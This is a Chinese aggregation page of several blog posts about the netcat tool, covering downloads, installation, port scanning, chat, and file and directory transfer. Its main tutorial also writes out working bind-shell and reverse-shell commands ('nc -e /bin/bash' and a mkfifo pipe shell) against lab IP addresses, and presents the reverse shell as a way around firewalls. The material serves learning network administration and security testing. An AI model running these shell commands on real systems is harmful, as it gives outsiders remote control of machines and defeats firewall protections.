精华内容
参与话题
问答
  • netcat 下载地址

    2016-06-13 21:07:00
    官网地址:http://netcat.sourceforge.net/ 下载地址:https://sourceforge.net/projects/netcat/postdownload?source=dlp 网络通讯的瑞士军刀,用来做测试很方便 可能需要翻墙才能看 ...

    官网地址:http://netcat.sourceforge.net/

    下载地址:https://sourceforge.net/projects/netcat/postdownload?source=dlp

    网络通讯的瑞士军刀,用来做测试很方便

    可能需要翻墙才能看

    转载于:https://my.oschina.net/u/2499632/blog/690749

    展开全文
  • NetCat

    2018-06-15 11:53:14
    NetCat:netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。环境:VM centos7资源:netcathttp://sourceforge.net/projects/netcat/...
    NetCat:
    netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。


    环境:VM centos7


    资源:


    netcat


    http://sourceforge.net/projects/netcat/files/netcat/0.7.1/




    0x01. 依据cpu 架构 选择软件 netcat-0.7.1-1.i386.rpm 下载到/tmp
    0x02. cd /tmp yum localinstall netcat-0.7.1-1.i386.rpm
    0x03. nc --help 测试安装是否成功
    0x04. centos7 不支持-z参数选项  nc 127.0.0.1 80 < /dev/null 替代 nc -z 127.0.0.1 80


    参考文献:
    https://blog.csdn.net/transformer_wsz/article/details/77624087
    https://blog.csdn.net/freestyle4568world/article/details/54706360
    http://www.err123.com/2018/01/25/nc-invalid-option-z/?lang=zh
    https://blog.csdn.net/soshow2011/article/details/79106820
    展开全文
  • Netcat

    2019-10-31 13:46:51
    nc 的不足之处,明文传输 ///////////////////////////// nc 域名 端口 ... ///////////////////////////////////////// nc -h 帮助 ...v 参数列出执行过程的详细信息 ...之所以使用 n 参数,是因为使用命令的过程中只去...
    nc 的不足之处,明文传输
    
    /////////////////////////////
    
    nc 域名 端口
    
    发出HTTP请求,获取返回信息
    
    /////////////////////////////////////////
    
    nc -h 帮助
    
    v 参数列出执行过程的详细信息
    n 只接收 ip 地址,没有 dns。之所以使用 n 参数,是因为使用命令的过程中只去传入 ip,减少了 nc
     把域名解析为 ip 的过程,这样可以节省时间提高效率
    z 参数翻译过来就是不进行 i/o,用来扫描。意思就是仅仅是去 ping 去探测目标是否开启指定端口,不进
    行任何的交互
    
    
    nc 用来进行端口扫描的命令是 nc -nvz ip 地址 端口号
    端口号可以是1-100写法
    或者
    
    nc -vn ip 端口号
    
    /////////////////////////////////
    
    nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口
    
    l参数是监听模式的意思,p 是指定一个端口
    
    第一台机器nc -l -p 6666
    第二台及其nc -nv ip 端口号
    
    ///////////////////////////////////
    
    当机器被攻击后,为了不破坏现场,需要提出大量的信息和文件出来做分析
    例如,需要一个命令的输出信息,首先在一台机器上监听一个端口,随后在被攻击的机器上执行相关的命
    ,然后以管道给 nc,指定另一台的地址和端口,这样输出结果就会到另一端
    
    被攻击主机:nc -l -p 6666
    攻击主机:ls -l | nc -nv ip 端口号
    
    也就是传给被攻击主机一些没用的信息
    
    /////////////////////////////////////
    
    输出内容过多,则可以将内容定向输出到文件中
    nc -l -p 6666 > ps.txt
    
    ////////////////////////////////////
    
    传输文件
    > 是将文件进行输出
    <是将文件进行输入
    第一台机器将别人传的信息存到1.jpg
    第一台机器:nc -lp 6666 > 1.jpg
    第二台机器:  nc -nv ip 端口号 < 1.jpg
    
    原先是我打开指定端口,等待别人连我,给我传文件
    接下来是我打开指定端口把文件准备好,别人连我,我传给他文件。
    
    第一台:nc -q 1 -lp 6666 < 1.jpg
    第二台:nc -nv ip 端口号 > 1.jpg
    
    ///////////////////////////////////
    
    
    
    
    
    
    
    展开全文
  • netcat

    2019-11-25 15:36:03
    netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。 各种版本的netcat netcat有非常多的版本,刚开始我自己也很混乱,因为各个版本...

    简介
    netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。

    各种版本的netcat
    netcat有非常多的版本,刚开始我自己也很混乱,因为各个版本的netcat使用方法和参数都不太一样。这里列举下我现在实验环境中的几个版本。

    case1
    Kail Linux自带的nc工具,版本是v1.10-41+b1。

    这个版本支持-e参数。

    man nc

    case2
    CentOS 6.4自带的nc工具,是BSD General版本的。

    这个版本不支持-e参数。

    用man命令查看,man nc。

    case3
    源码安装了GNU netcat版本,源码地址是http://netcat.sourceforge.net/

    这个版本支持-e参数。

    总结
    之前看网上资料,有按照netcat-openbsd版本和netcat-traditional版本来区分,但是我也没找到这两个所谓版本的源头或者官方网址。但是无论如何,netcat各个版本大同小异,主要还是要自己看一下你的机子上的netcat的使用参数。

    nc -h  看简易参数介绍

    man nc 看详细使用手册

    netcat能干啥?
    下面进入正题,介绍netcat一些牛叉的功能。

    端口扫描
    基本用法

    nc -z -v -n 127.0.0.1 21-25
    可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
    -z 参数告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换
    -v 参数指使用冗余选项,即详细输出
    -n 参数告诉netcat不使用DNS解析,即仅仅是一串IP数字,一般如果后面是跟IP数字的话,就带上-n参数;跟着是域名的话,就不带-n参数。

    这个命令会打印21到25所有开放的端口。
    Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。

    一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。 
    nc -v 127.0.0.1 22
    netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。


    聊天服务
    假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个聊天服务器,一个预先确定好的端口,这样子他就可以联系到你了。

    Server

    nc -l -p 20000

    有的nc版本不需要-p参数,具体请看各个版本nc的参数介绍

    nc -l 20000 
    Client
    nc -n 192.168.71.131 20000


    netcat在Server的20000端口启动了一个tcp服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

    文件传输
    大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件a.txt 从A 到B。A或者B都可以作为服务器或者客户端。

    这里实验环境:

    A ip:192.168.71.131

    B ip:192.168.71.130

    Case1:以下,让A作为服务器,B为客户端。 

    这里我们创建了一个服务器在Server A上并且重定向netcat的输入为文件a.txt,那么当任何成功连接到该端口,netcat会发送a.txt的文件内容。
    在客户端Client B我们重定向输出到a.txt,当Client B连接到Server A,Server A发送文件内容,Client B保存文件内容到a.txt。


    Case2:同样,也可以让A作为客户端,B作为服务器。

     在Server B上(-l参数监听TCP)

    nc -l -p 20000 > a.txt
    然后再Client A上
    nc -n 192.168.71.130 20000 < a.txt


    总结:nc用在文件传输或者目录传输上,传一些简单的,小的文件比较靠谱,传输大文件还是用其他工具把。因为nc传输结束后,没有任何提示,也就是说,我们无法看出文件是否传输结束。

    目录传输
    和文件传输类似,只是加上了tar命令的联合使用。

    这里,我们还是假设,你想要传一个目录test 从A 到B。

    这里实验环境:

    A ip:192.168.71.131

    B ip:192.168.71.130

    Case1:以下,让A作为服务器,B为客户端。 

    //Server A上
    tar -cvf - ./test/ | nc -l -p 20000

    这里的减号很重要,代表标准输出流。

    //Client B上
    nc -n 192.168.71.131 20000 | tar -xvf -

    远程shell
    可以使用telnet和ssh创建远程shell,netcat为我们提供第三种方式。

    这里实验环境:

    A ip:192.168.71.131

    B ip:192.168.71.130
    假设我要在B机器上打开A机器的shell,那么这里把A做为netcat的Server,把B做为netcat的Client。

    这里分2种情况

    Case1:

    假如A机器上的netcat版本支持-e参数(详细见上面第一节的描述)

    那么在Server A上运行命令如下:

    nc -l -p 20000 -e /bin/bash

    然后在Client B上运行命令如下:

    nc -n 192.168.71.131 20000

    然后在Client B上就可以执行shell远程命令了,如上图ls出A机器上的目录。

    Case2:

    假如A机器上的netcat版本不支持-e参数

    可以用fifo文件和管道重定向来实现。

    在Server A上执行命令如下:

    mkfifo ./fifo
    cat ./fifo | /bin/bash 2>&1 | nc -l -p 20000 > ./fifo

    在Client B上执行命令如下:

    nc -n 192.168.71.131 20000

    就可以在B机器上执行A的远程shell了。
    这里解释下原因,

    我们创建了一个fifo文件,然后使用管道把这个fifo文件内容定向到bash 2>&1中(2>&1 是用来重定向标准错误输出和标准输出)。然后管道到netcat 运行的端口20000上。然后,我们再把netcat的输出重定向到fifo文件中。

    整个流程就是:
    step1:从网络收到的输入写到fifo文件中;
    step2:cat命令读取fifo文件并且其内容发送给bash命令;
    step3:bash命令进程受到输入并把结果写回到netcat;
    step4:netcat通过网络发送输出到client;

    至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。 

    PS:

    Case2的情况中,如果/bin/bash 加了-i参数,在B机器上会显示出主机名和用户名,如下

    cat ./fifo | /bin/bash -i 2>&1 | nc -l -p 20000 > ./fifo


    反向shell
    反向shell经常用于绕过防火墙。

    这里实验环境:

    A ip:192.168.71.131

    B ip:192.168.71.130
    假设我要在A机器上打开B机器的shell,如果按照正向shell的做法,应该是把A当成netcat的Client,把B当成netcat的Server,在B上用-l参数监听输入的链接。

    但是如果防火墙屏蔽了输入,只允许输出,那么这时候就是反向shell发挥作用的时候了。

    反向shell的做法是把A当成netcat的Server,把B当成netcat的Client,然后在A上用-l参数监听netcat的链接。

    首先在A上执行命令:

    nc -l -p 20000


    然后在B上执行命令:

    nc -n 192.168.71.131 20000 -e /bin/bash

    然后在A上执行shell命令就可以了,相当于是B的远程shell了。

    结束语
    netcat的主要作用就介绍这些,还有一些其它不常用的方法我就不介绍了,可以看这个链接
    ————————————————
    版权声明:本文为CSDN博主「相忘于江湖吧」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/chenj_freedom/article/details/77099909

     

    其他:https://linux.die.net/man/1/nc

    展开全文

空空如也

1 2 3 4 5 ... 20
收藏数 2,975
精华内容 1,190
关键字:

netcat